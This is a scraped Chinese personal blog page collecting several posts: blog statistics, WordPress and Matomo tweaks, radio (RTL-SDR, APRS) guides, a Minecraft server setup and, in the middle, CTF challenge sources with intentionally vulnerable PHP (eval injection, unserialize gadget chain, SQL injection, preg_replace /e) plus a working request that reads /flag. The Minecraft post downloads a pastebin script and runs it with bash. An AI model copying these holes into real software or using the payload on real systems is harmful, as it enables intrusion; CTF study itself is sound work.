无名博客 - 一个无聊的人罢了~

写在独立博客三周年

7条回复

不知不觉博客已经运行三年了，三年前创建这个博客的原因主要是想靠广告赚钱，到真的搭了博客后才发现博客是一门亏钱的生意…

无论如何，这个博客就断断徐徐的运行到了现在

博客的时间线：

2022.08 初代博客，使用 Typecho 及 Freewind 主题
2023.11 将博客搬到 NAS 内，用 Warp 穿透
2024.07 从 NAS 搬到 Github+Vercel 以及更换到 Hexo+Volantis
2025.08 从 Hexo 又搬到 WordPress

在博客三周年之际，从用了一年多的 Hexo 又换成 WordPress，下一次大改可能又是一年后

在换成 WP 后 Google 的收录又回来了，而 Bing 还是久久不更新

截至今天，网站的 DR 为 26

流量来源

在 7 天内，来自搜索引擎（Google 和 Bing）的流量最高，共为 30UV，其次为各博客聚合网站

开往 10UV
十年之约 13UV
博友圈 3UV
无聊湾 2UV
BlogFinder 1UV
博客说 1UV
BlogWe 1UV

以及各友情链接带来共 22UV

未来规划

做好 SEO
获取更多 Backlinks
发多点文章
降低成本

我认为，在 SEO 中反向链接是非常重要的一点，即便不能提升我的 Page rank，也能带来一定数量的访客

目前我获得 backlink 的主要方法是友情链接…以及评论，不过我同意一个观点：如果一个链接很容易就能获得，那它就没啥价值

无论如何，接下来尝试做点 SEO 吧

WordPress 用 Weavatar 镜像取代 Gravatar 头像

1条回复

在 functions.php 添加以下代码：

function weavatar($avatar) {
    $avatar = str_replace(
        array("www.gravatar.com/avatar", "0.gravatar.com/avatar", "1.gravatar.com/avatar", "secure.gravatar.com/avatar"),
        "weavatar.com/avatar",
        $avatar
    );
    return $avatar;
}
add_filter('get_avatar', 'weavatar');

Matomo 统计绕过 Adblock 拦截

3条回复

大部分 Adblock 默认会把 matomo.js 封锁，所以我们需要将文件”改名”
把 js 以及 php 代理，这里以 WordPress 安装的 Matomo 为例
如果你不是以 WP 安装，记得域名中也不要包含 matomo, tracking 这类关键字
Apache .htaccess

RewriteEngine On 
RewriteRule ^wp-content/plugins/app/class$ wp-content/uploads/matomo/matomo.js [L] 
RewriteRule ^wp-content/plugins/app/class\.php$ wp-content/plugins/matomo/app/matomo.php [L]

另外`matomo.php?action_name=`也会被拦截，所以需要从默认的 GET 请求更换成 POST 请求，这里是修改后的代码

<script data-cfasync="false">
(function () {
function initTracking() {
var _paq = window._paq = window._paq || [];
_paq.push(['setRequestMethod', 'POST']);
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
_paq.push(['alwaysUseSendBeacon']);
_paq.push(['setTrackerUrl', "\/\/example.site\/wp-content\/plugins\/app\/class.php"]);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript';
 g.async=true;
 g.src="\/\/example.site\/wp-content\/plugins\/app\/class";
 s.parentNode.insertBefore(g,s);
}
if (document.prerendering) {
	document.addEventListener('prerenderingchange', initTracking, {once: true});
} else {
	initTracking();
}
})();
</script>

evilecho

index.php

<?php

echo <span class="hljs-string">"<h2>Tips: eval & echo = ?</h2>"</span>;

<span class="hljs-variable">$hostHeader</span> = <span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">'HTTP_HOST'</span>];
list(<span class="hljs-variable">$hostname</span>, <span class="hljs-variable">$port</span>) = explode(<span class="hljs-string">':'</span>, <span class="hljs-variable">$hostHeader</span>);

<span class="hljs-variable">$image</span> = isset(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">"file"</span>]) ? <span class="hljs-string">"./images/"</span> . <span class="hljs-variable">$_GET</span>[<span class="hljs-string">"file"</span>] : <span class="hljs-string">""</span>;

<span class="hljs-keyword">if</span> (<span class="hljs-variable">$image</span> == <span class="hljs-string">""</span>) {
    header(<span class="hljs-string">"Location: "</span> . <span class="hljs-string">"http://$hostname:$port"</span> . <span class="hljs-string">"/index.php?file=eason.jpg"</span>);
}

<span class="hljs-variable">$file</span> = <span class="hljs-string">"echo '<img src=\""</span> . <span class="hljs-variable">$image</span> . <span class="hljs-string">"\" width=200px height=auto>';"</span>;

<span class="hljs-keyword">if</span> (in_array(strtolower(<span class="hljs-variable">$image</span>), array(<span class="hljs-string">"cat"</span>, <span class="hljs-string">" "</span>, <span class="hljs-string">"flag"</span>, <span class="hljs-string">"docker"</span>, <span class="hljs-string">"shell_exec"</span>, <span class="hljs-string">"exec"</span>, <span class="hljs-string">"popen"</span>))) {
    <span class="hljs-keyword">exit</span>(<span class="hljs-string">"Hacker!!!!"</span>);
}
eval (<span class="hljs-variable">$file</span>);

?>

happy

index.php

 <span class="php"><span class="hljs-meta"><?php</span>
highlight_file(<span class="hljs-keyword">__FILE__</span>);
error_reporting(<span class="hljs-number">0</span>);

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">hahaha</span>
</span>{
    <span class="hljs-keyword">public</span> $cmd;
    <span class="hljs-keyword">public</span> $content;

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span><span class="hljs-params">($cmd, $content)</span>
    </span>{
        <span class="hljs-keyword">$this</span>->cmd = $cmd;
        <span class="hljs-keyword">$this</span>->content = $content;
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__call</span><span class="hljs-params">($name, $arguments)</span>
    </span>{
        call_user_func(<span class="hljs-keyword">$this</span>->cmd, <span class="hljs-keyword">$this</span>->content);
    }

}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Nevv</span>
</span>{
    <span class="hljs-keyword">public</span> $happiness;

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__invoke</span><span class="hljs-params">()</span>
    </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->happiness->check();
    }

}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Rabbit</span>
</span>{
    <span class="hljs-keyword">public</span> $aspiration;
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__set</span><span class="hljs-params">($name, $val)</span>
    </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->aspiration->family;
    }
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Year</span>
</span>{
    <span class="hljs-keyword">public</span> $key;
    <span class="hljs-keyword">public</span> $rabbit;

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span><span class="hljs-params">($key)</span>
    </span>{
        <span class="hljs-keyword">$this</span>->key = $key;
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">firecrackers</span><span class="hljs-params">()</span>
    </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->rabbit->wish = <span class="hljs-string">"allkill QAQ"</span>;
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__get</span><span class="hljs-params">($name)</span>
    </span>{
        $name = <span class="hljs-keyword">$this</span>->rabbit;
        $name();
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span><span class="hljs-params">()</span>
    </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span>->key == <span class="hljs-string">"come on"</span>) {
            <span class="hljs-keyword">$this</span>->firecrackers();
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">print</span> (<span class="hljs-string">"Welcome 2025!!!!!"</span>);
        }
    }
}

<span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>($_GET[<span class="hljs-string">'poc'</span>])) {
    $a = unserialize($_GET[<span class="hljs-string">'poc'</span>]);
} <span class="hljs-keyword">else</span> {
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"come on"</span>;
}


<span class="hljs-meta">?></span></span>

issql

index.php

<span class="hljs-tag"><<span class="hljs-name">html</span> <span class="hljs-attr">xmlns</span>=<span class="hljs-string">"http://www.w3.org/1999/xhtml"</span>></span>
<span class="hljs-comment"><!--This set of source code is made by MS. --></span>
<span class="hljs-comment"><!--Date 2018.12.13--></span>
    <span class="hljs-tag"><<span class="hljs-name">head</span>></span>
        <span class="hljs-tag"><<span class="hljs-name">meta</span> <span class="hljs-attr">http-equiv</span>=<span class="hljs-string">Content-Type</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"text/html;charset=utf-8"</span>></span>
        <span class="hljs-tag"><<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"description"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"Test"</span>></span>
        <span class="hljs-tag"><<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"author"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"MRYE+"</span>></span>
        <span class="hljs-tag"><<span class="hljs-name">title</span>></span>电脑信息查询 - 网络安全工作室<span class="hljs-tag"></<span class="hljs-name">title</span>></span>
        <span class="hljs-tag"><<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/css"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"./css/ctf.css"</span> /></span>    
    <span class="hljs-tag"></<span class="hljs-name">style</span>></span>
<span class="hljs-tag"></<span class="hljs-name">head</span>></span>
<span class="hljs-tag"><<span class="hljs-name">body</span>></span>
<span class="hljs-tag"><<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"container"</span>></span>
  <span class="hljs-tag"><<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"search"</span>></span>
    <span class="hljs-tag"><<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"search"</span>></span>输入以 1、2、3 显示电脑信息<span class="hljs-tag"></<span class="hljs-name">label</span>></span>
    <span class="hljs-tag"><<span class="hljs-name">form</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"myForm"</span> <span class="hljs-attr">action</span>=<span class="hljs-string">""</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"post"</span>></span>
    <span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"ms"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"ms"</span><span class="hljs-attr">maxlength</span>=<span class="hljs-string">"1"</span>></span>
    <span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Search"</span>></span>
    <span class="hljs-tag"></<span class="hljs-name">form</span>></span>
<span class="php"><span class="hljs-meta"><?php</span>
<span class="hljs-comment">//禁用错误报告</span>
error_reporting(<span class="hljs-number">0</span>);
header(<span class="hljs-string">"Content-Type: text/html;charset=utf-8"</span>);
<span class="hljs-keyword">require_once</span> <span class="hljs-string">'./suxinctf.php'</span>;

<span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">"ms"</span>]))
{
    $ID = $_POST[<span class="hljs-string">"ms"</span>];
    <span class="hljs-comment">#echo $ID;</span>
    $query = <span class="hljs-string">"select * from goods where id='{$ID}'"</span>;<span class="hljs-comment">//构建查询语句</span>
    $result = mysql_query($query);<span class="hljs-comment">//执行查询</span>
    <span class="hljs-keyword">if</span> (!$result) {
        <span class="hljs-keyword">die</span>(<span class="hljs-string">"could not to the database\n"</span> . mysql_error());
    }
    <span class="hljs-keyword">if</span> (mysql_numrows($result)<=<span class="hljs-number">0</span>) {
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"<script     type='text/javascript'>alert('都说了让你输入 1~3 你咋还那么调皮！');location.href='index.php'</script>"</span>;
    }<span class="hljs-keyword">else</span>{
    <span class="hljs-keyword">while</span>($result_row=mysql_fetch_row(($result)))<span class="hljs-comment">//取出结果并显示</span>
    {
        $ms=$result_row[<span class="hljs-number">0</span>];
        $gname=$result_row[<span class="hljs-number">1</span>];
        $gprice=$result_row[<span class="hljs-number">2</span>];
        $gnum=$result_row[<span class="hljs-number">3</span>];
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"<font color='red'>电脑编号为："</span>.$ms.<span class="hljs-string">"　　</font> "</span>;;
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"<font color='red'>电脑系统为："</span>.$gname.<span class="hljs-string">"　　</font>"</span>;
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"<font color='red'>电脑价格为："</span>.$gprice.<span class="hljs-string">"　　</font>"</span>;
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"<font color='red'>电脑数量为："</span>.$gnum.<span class="hljs-string">"　　</font>"</span>;
}
}
}
    $query = <span class="hljs-string">"select * from goods "</span>;<span class="hljs-comment">//构建查询语句</span>
    $result = mysql_query($query);<span class="hljs-comment">//执行查询</span>
    <span class="hljs-keyword">if</span> (!$result) {
        <span class="hljs-keyword">die</span>(<span class="hljs-string">"could not to the database\n"</span> . mysql_error());
    }
    <span class="hljs-keyword">if</span> (mysql_numrows($result)<=<span class="hljs-number">0</span>) {
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"<script     type='text/javascript'>alert('都说了让你输入 1~3 你咋还那么调皮！');location.href='index.php'</script>"</span>;
    }<span class="hljs-keyword">else</span>{
    <span class="hljs-keyword">while</span>($result_row=mysql_fetch_row(($result)))<span class="hljs-comment">//取出结果并显示</span>
    {
        $ms=$result_row[<span class="hljs-number">0</span>];
        $gname=$result_row[<span class="hljs-number">1</span>];
    }

mysql_close($connection);<span class="hljs-comment">//关闭连接</span>
}
<span class="hljs-meta">?></span></span>
  <span class="hljs-tag"></<span class="hljs-name">div</span>></span>
<span class="hljs-tag"></<span class="hljs-name">div</span>></span>
<span class="hljs-tag"></<span class="hljs-name">body</span>></span>
<span class="hljs-tag"></<span class="hljs-name">html</span>></span>

suxinctf.php

<span class="php"><span class="hljs-meta"><?php</span>
$host = <span class="hljs-string">'localhost'</span>;
$database = <span class="hljs-string">'ctf'</span>;
$username = <span class="hljs-string">'root'</span>;
$password = <span class="hljs-string">''</span>;
$connection = mysql_connect($host, $username, $password);<span class="hljs-comment">//连接到数据库</span>
mysql_query(<span class="hljs-string">"set names 'utf8'"</span>);<span class="hljs-comment">//编码转化</span>
<span class="hljs-keyword">if</span> (!$connection) {
    <span class="hljs-keyword">die</span>(<span class="hljs-string">"could not connect to the database.\n"</span> . mysql_error());<span class="hljs-comment">//诊断连接错误</span>
}
$selectedDb = mysql_select_db($database);<span class="hljs-comment">//选择数据库</span>
<span class="hljs-keyword">if</span> (!$selectedDb) {
    <span class="hljs-keyword">die</span>(<span class="hljs-string">"could not to the database\n"</span> . mysql_error());
}
<span class="hljs-meta">?></span></span>

ezphp

<span class="hljs-meta"><?php</span>
    <span class="hljs-keyword">include</span> <span class="hljs-string">"utils/function.php"</span>;
    $config = <span class="hljs-keyword">include</span> <span class="hljs-string">"utils/config.php"</span>;
    $user_xml_format = <span class="hljs-string">"<?xml version='1.0'?>
                        <userinfo>
                            <user>
                                <username>%s</username>
                                <password>%s</password>
                            </user>
                        </userinfo>"</span>;
    extract($_REQUEST);
    <span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>($username)||<span class="hljs-keyword">empty</span>($password)) <span class="hljs-keyword">die</span>(<span class="hljs-string">"Username or password cannot be empty XD"</span>);

    <span class="hljs-keyword">if</span>(!preg_match(<span class="hljs-string">'/^[a-zA-Z0-9_]+$/'</span>, $username)) <span class="hljs-keyword">die</span>(<span class="hljs-string">"Invalid username. :("</span>);

    <span class="hljs-keyword">if</span>(is_user_exists($username, $config[<span class="hljs-string">"user_info_dir"</span>])) <span class="hljs-keyword">die</span>(<span class="hljs-string">"User already exists XD"</span>);
    $user_xml = sprintf($user_xml_format, $username, $password);

    register_user($username, $config[<span class="hljs-string">'user_info_dir'</span>], $user_xml);

<span class="php"><span class="hljs-meta"><?php</span>
    <span class="hljs-keyword">include</span> <span class="hljs-string">"utils/function.php"</span>;
    $config = <span class="hljs-keyword">include</span>  <span class="hljs-string">"utils/config.php"</span>;
    $username = $_REQUEST[<span class="hljs-string">'username'</span>];
    $password = $_REQUEST[<span class="hljs-string">'password'</span>];
    <span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>($username)||<span class="hljs-keyword">empty</span>($password)) <span class="hljs-keyword">die</span>(<span class="hljs-string">"Username or password cannot be empty XD"</span>);
    <span class="hljs-keyword">if</span>(!is_user_exists($username, $config[<span class="hljs-string">"user_info_dir"</span>])) <span class="hljs-keyword">die</span>(<span class="hljs-string">"Username error"</span>);
    $user_record = get_user_record($username, $config[<span class="hljs-string">'user_info_dir'</span>]);
    <span class="hljs-keyword">if</span>($user_record->user->password != $password) <span class="hljs-keyword">die</span>(<span class="hljs-string">"Password error for User:"</span>.$user_record->user->username);
    header(<span class="hljs-string">"Location:main.html"</span>);</span>

crackme

index.php

<span class="php"><span class="hljs-meta"><?php</span>
<span class="hljs-keyword">if</span> ($_GET[<span class="hljs-string">'crack'</span>] === <span class="hljs-string">'flag'</span>) {
    highlight_file(<span class="hljs-keyword">__FILE__</span>);
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'hk'</span>]) && <span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'flag'</span>])) {
        $str1 = $_POST[<span class="hljs-string">'hk'</span>];
        $str2 = $_POST[<span class="hljs-string">'flag'</span>];
        <span class="hljs-keyword">if</span> (preg_match(<span class="hljs-string">'/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i'</span>, $str1) || strlen($str2) != <span class="hljs-number">19</span> || preg_match(<span class="hljs-string">'/give_me_flag/'</span>, $str2)) {
            <span class="hljs-keyword">die</span>(<span class="hljs-string">'hacker!'</span>);
        } <span class="hljs-keyword">else</span> {
            preg_replace(<span class="hljs-string">"/give_me_flag/ei"</span>, $_POST[<span class="hljs-string">'hk'</span>], $_POST[<span class="hljs-string">'flag'</span>]);
        }
    }
} <span class="hljs-keyword">else</span> {
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"moran want a flag.</br>(?crack=flag)"</span>;
}</span>

<span class="hljs-keyword">POST</span> <span class="hljs-string">?crack=flag&a=readfile&b=/flag</span> HTTP/1.1

<span class="ini"><span class="hljs-attr">hk</span>=<span class="hljs-variable">$_GET</span>[a](<span class="hljs-variable">$_GET</span>[b])&flag=give_me_Flag/ei1111</span>

利用 RTL-SDR 接收 ADS-B 信号并追踪飞机

发表评论

RTL-1090

安装驱动(Zadig)

如果你已经根据 RTL-SDR 博客网站正确的安装了驱动，则请跳过此部分

打开Zadig.exe，上方 Options>List all devices，找到Bulk-In, Interface (Interface 0)并确保 USB ID 为0BDA 2838 00 确认无误后点击 Replace Driver 等待加载后驱动便安装完成了

安装 RTL-1090

前往rtl1090.com，找到RTL1090.EXE VERSION 2并下载这时候直接运行会提示缺少rtlsdr.dll,libusb-1.0.dll两个运行库其中rtlsdr.dll来自rtlsdrblog/rtl-sdr-blog，libsub-1.0.dll来自libusb/libusb 把 dll 下载到同目录后运行即可运行后看见很大一个 START 按钮，点就对了

现在你应该能看见一些随机的文字，看不懂吗？我也看不懂所以我们需要把解码后的数据放到地图上显示主要有两个软件能实现，分别是 Virtual Radar,ADSBScope，这里我以 ADSBScope 为例

ADSBScope

前往sprut.de/electronic/pic/projekte/adsb/adsb_en.html#downloads并下载最新版本的 ADSBScope 运行后上方 load Maps>Aisa Central 加载地图，other>Network>Network setup>RAW-data-client 点击 local,RTL1090 回到主界面，other>Network>Raw-data Client active 到这里全部的设置都已经完成了，地图上应该显示了一些飞机的轨迹如果没有的话，可能是天线摆放的位置不对，亦或只是附近没有飞机罢了

树莓派配合 RTL-SDR 搭建 OpenWebRx

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RTL-SDR 驱动

在安装之前，我们需要先安装驱动，安装驱动非常简单，只需一行命令 sudo apt install rtl-sdr

安装 OpenWebRX

这里使用 apt 安装

wget -O /usr/share/keyrings/openwebrx<span class="hljs-selector-class">.gpg</span> https:<span class="hljs-comment">//repo.openwebrx.de/openwebrx.gpg</span>
echo <span class="hljs-string">"deb [signed-by=/usr/share/keyrings/openwebrx.gpg] https://repo.openwebrx.de/debian/ experimental main"</span> > /etc/apt/sources<span class="hljs-selector-class">.list</span><span class="hljs-selector-class">.d</span>/openwebrx-experimental<span class="hljs-selector-class">.list</span>
apt-get update
apt-get install openwebrx

From openwebrx.de/download/debian.php

使用openwebrx启动

绑定端口

nano /etc/openwebrx/openwebrx.conf

<span class="hljs-section">[web]</span>
<span class="hljs-attr">port</span> = <span class="hljs-number">8088</span>

这里由于默认端口占用，所以我转到了 8088 端口

另外，默认的管理页面为/admin

树莓派搭配 RTL-SDR 搭建 APRS iGate (Direwolf)

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在 2024 年的今天，搭建 iGate 早就不用像十多年前手动焊接一个 TNC 电路加上老旧的 APRS4R 了，只需一个廉价的 SDR 即可实现

首先我们需要安装一堆的库

sudo apt-get <span class="hljs-keyword">install</span> git
sudo apt-<span class="hljs-keyword">get</span> <span class="hljs-keyword">install</span> gcc
sudo apt-<span class="hljs-keyword">get</span> <span class="hljs-keyword">install</span> g++
sudo apt-<span class="hljs-keyword">get</span> <span class="hljs-keyword">install</span> make
sudo apt-<span class="hljs-keyword">get</span> <span class="hljs-keyword">install</span> cmake
sudo apt-<span class="hljs-keyword">get</span> <span class="hljs-keyword">install</span> libasound2-dev
sudo apt-<span class="hljs-keyword">get</span> <span class="hljs-keyword">install</span> libudev-dev
sudo apt-<span class="hljs-keyword">get</span> <span class="hljs-keyword">install</span> libavahi-<span class="hljs-keyword">client</span>-dev
sudo apt-<span class="hljs-keyword">get</span> <span class="hljs-keyword">install</span> rtl-sdr

然后是 Direwolf 的前置 Hamlib

git clone http<span class="hljs-variable">s:</span>//github.<span class="hljs-keyword">com</span>/Hamlib/Hamlib.git
<span class="hljs-keyword">cd</span> Hamlib
./bootstrap
./configure
<span class="hljs-keyword">make</span>
sudo <span class="hljs-keyword">make</span> install

和主角 Direwolf

<span class="hljs-keyword">cd</span> ~
git clone http<span class="hljs-variable">s:</span>//www.github.<span class="hljs-keyword">com</span>/wb2osz/direwolf
<span class="hljs-keyword">cd</span> direwolf
git checkout dev
<span class="hljs-built_in">mkdir</span> build && <span class="hljs-keyword">cd</span> build
cmake ..
<span class="hljs-keyword">make</span> -j4
sudo <span class="hljs-keyword">make</span> install
<span class="hljs-keyword">make</span> install-<span class="hljs-keyword">conf</span>

接下来需要建立配置文件

nano sdr.conf

ADEVICE <span class="hljs-literal">null</span> <span class="hljs-literal">null</span>
CHANNEL <span class="hljs-number">0</span>
MYCALL XXXX <span class="hljs-meta">#修改成呼号+SSID</span>
IGSERVER asia.aprs2.net <span class="hljs-meta">#一般无需修改</span>
IGLOGIN XXXX <span class="hljs-number">12345</span> <span class="hljs-meta">#输入你的呼号和密码</span>

上方的密码只是一个算法，可以参考lilmatt/callpass-js

最后，通过以下代码运行

rtl_fm -f <span class="hljs-number">144.64</span>M -s <span class="hljs-number">24000</span> -g <span class="hljs-number">48</span> - | direwolf -c /sdr.conf -r <span class="hljs-number">24000</span> -D <span class="hljs-number">1</span> -

我们还可以把它设置成开机自动运行把上述的运行命令复制到exit 0前即可

sudo nano /etc/rc.<span class="hljs-keyword">local</span>

Ubuntu 下我的世界 Java 开全版本服教程(1.7.x-最新版本)

2条回复

首先下载最新版本的服务端，这里以我常用的PaperMC为例另外也有 Spigot，Bukkit 等

安装并运行 PaperMC 服务端

sudo apt install openjdk-<span class="hljs-number">17</span>-jre-headless dos2unix jq
wget http<span class="hljs-variable">s:</span>//pastebin.<span class="hljs-keyword">com</span>/raw/e0UDS0dE -O paper.<span class="hljs-keyword">sh</span> && dos2unix paper.<span class="hljs-keyword">sh</span> && bash paper.<span class="hljs-keyword">sh</span>
java -jar server.jar

同意 eula

<span class="hljs-built_in">echo</span> <span class="hljs-string">"eula=true"</span> > eula.txt

然后下载以下三个插件的最新版本: ViaVersion ViaBackwards ViaRewind

<span class="hljs-keyword">cd</span> plugins
curl -s http<span class="hljs-variable">s:</span>//api.github.<span class="hljs-keyword">com</span>/repos/ViaVersion/ViaVersion/releases/latest | <span class="hljs-keyword">grep</span> -<span class="hljs-keyword">o</span> <span class="hljs-string">"https://.*\.jar"</span> | wget -qi -
curl -s http<span class="hljs-variable">s:</span>//api.github.<span class="hljs-keyword">com</span>/repos/ViaVersion/ViaBackwards/releases/latest | <span class="hljs-keyword">grep</span> -<span class="hljs-keyword">o</span> <span class="hljs-string">"https://.*\.jar"</span> | wget -qi -
curl -s http<span class="hljs-variable">s:</span>//api.github.<span class="hljs-keyword">com</span>/repos/ViaVersion/ViaRewind/releases/latest | <span class="hljs-keyword">grep</span> -<span class="hljs-keyword">o</span> <span class="hljs-string">"https://.*\.jar"</span> | wget -qi -

再次启动

<span class="hljs-keyword">java </span>-<span class="hljs-keyword">jar </span>server.<span class="hljs-keyword">jar</span>

以 1.7.10 版本进入的截图:

最后，祝各位新年快乐最近实在繁忙，抱歉~

JS 实现评论表情包及站外链接提醒

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评论表情包

OSS 文件已删除，请自行替换! 替换textarea成评论框的 ID

<span class="hljs-tag"><<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"sticker_box"</span>></span><span class="hljs-tag"></<span class="hljs-name">span</span>></span>
<span class="hljs-tag"><<span class="hljs-name">a</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"toggleStickerBox()"</span> <span class="hljs-attr">a</span>=<span class="hljs-string">"#"</span>></span>表情<span class="hljs-tag"></<span class="hljs-name">a</span>></span>

<span class="hljs-tag"><<span class="hljs-name">script</span>></span><span class="javascript"><span class="hljs-keyword">const</span> stickers = [
        <span class="hljs-comment">//这里填你的图片</span>
      <span class="hljs-string">'001'</span>, <span class="hljs-string">'002'</span>, <span class="hljs-string">'003'</span>, <span class="hljs-string">'004'</span>, <span class="hljs-string">'005'</span>, <span class="hljs-string">'006'</span>, <span class="hljs-string">'007'</span>, <span class="hljs-string">'008'</span>
    ];
    <span class="hljs-keyword">const</span> stickerBox = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'sticker_box'</span>);
    stickers.forEach(<span class="hljs-function"><span class="hljs-params">sticker</span> =></span> {
      <span class="hljs-keyword">const</span> button = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'button'</span>);
      button.className = <span class="hljs-string">'sk'</span>;
      button.onclick = <span class="hljs-function"><span class="hljs-keyword">function</span>() </span>{
        sticker01(sticker);
      };

      <span class="hljs-keyword">const</span> img = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'img'</span>);
      <span class="hljs-comment">//这里填图片目录</span>
      img.src = <span class="hljs-string">`//oss.wuminboke.site/sticker/<span class="hljs-subst">${sticker}</span>.webp`</span>;
      img.style.height = <span class="hljs-string">'50px'</span>;
      img.style.width = <span class="hljs-string">'50px'</span>;
      img.loading = <span class="hljs-string">"lazy"</span>;

      button.appendChild(img);
      stickerBox.appendChild(button);
    });
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">toggleStickerBox</span>() </span>{
      <span class="hljs-keyword">const</span> divToToggle = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'sticker_box'</span>);
      divToToggle.style.display = divToToggle.style.display === <span class="hljs-string">'none'</span> ? <span class="hljs-string">'block'</span> : <span class="hljs-string">'none'</span>;
    }
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sticker01</span>(<span class="hljs-params">stickernum</span>) </span>{
      <span class="hljs-keyword">const</span> textarea1 = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'textarea'</span>);
      <span class="hljs-comment">//这里填图片目录</span>
      textarea1.value += <span class="hljs-string">`<img src="//oss.wuminboke.site//sticker/<span class="hljs-subst">${stickernum}</span>.webp" height="100px" width="100px">`</span>;
    }</span><span class="hljs-tag"></<span class="hljs-name">script</span>></span>

站外链接提醒

把wuminboke.site替换成自己域名可直接使用

<span class="hljs-tag"><<span class="hljs-name">script</span>></span><span class="javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">links</span>()</span>{<span class="hljs-keyword">const</span> t=<span class="hljs-built_in">document</span>.querySelectorAll(<span class="hljs-string">"#post-body a"</span>),e=[<span class="hljs-string">"#"</span>],n=[{<span class="hljs-attr">url</span>:<span class="hljs-string">"github.com"</span>,<span class="hljs-attr">tag</span>:<span class="hljs-string">" - Github"</span>},{<span class="hljs-attr">url</span>:<span class="hljs-string">"t.me"</span>,<span class="hljs-attr">tag</span>:<span class="hljs-string">" - Telegram"</span>},{<span class="hljs-attr">url</span>:<span class="hljs-string">"wuminboke.site"</span>,<span class="hljs-attr">tag</span>:<span class="hljs-string">""</span>}];<span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> u=<span class="hljs-number">0</span>;u<t.length;u++){<span class="hljs-keyword">const</span> l=t[u],o=l.href;<span class="hljs-keyword">if</span>(e.includes(o))<span class="hljs-keyword">continue</span>;<span class="hljs-keyword">const</span> i=n.find((<span class="hljs-function"><span class="hljs-params">t</span>=></span>o.includes(t.url)));l.innerText+=i?i.tag:<span class="hljs-string">" - 站外链接"</span>}}links();</span><span class="hljs-tag"></<span class="hljs-name">script</span>></span>

Docker 部署 Home Assistant 并接入米家与 ESPHome

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安装 Home Assistant

docker run -d \
  -<span class="ruby">-name homeassistant \
